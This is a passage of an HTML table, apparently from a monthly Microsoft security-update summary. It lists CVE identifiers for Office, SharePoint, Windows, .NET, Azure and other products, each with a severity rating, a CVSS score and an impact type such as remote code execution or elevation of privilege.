  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
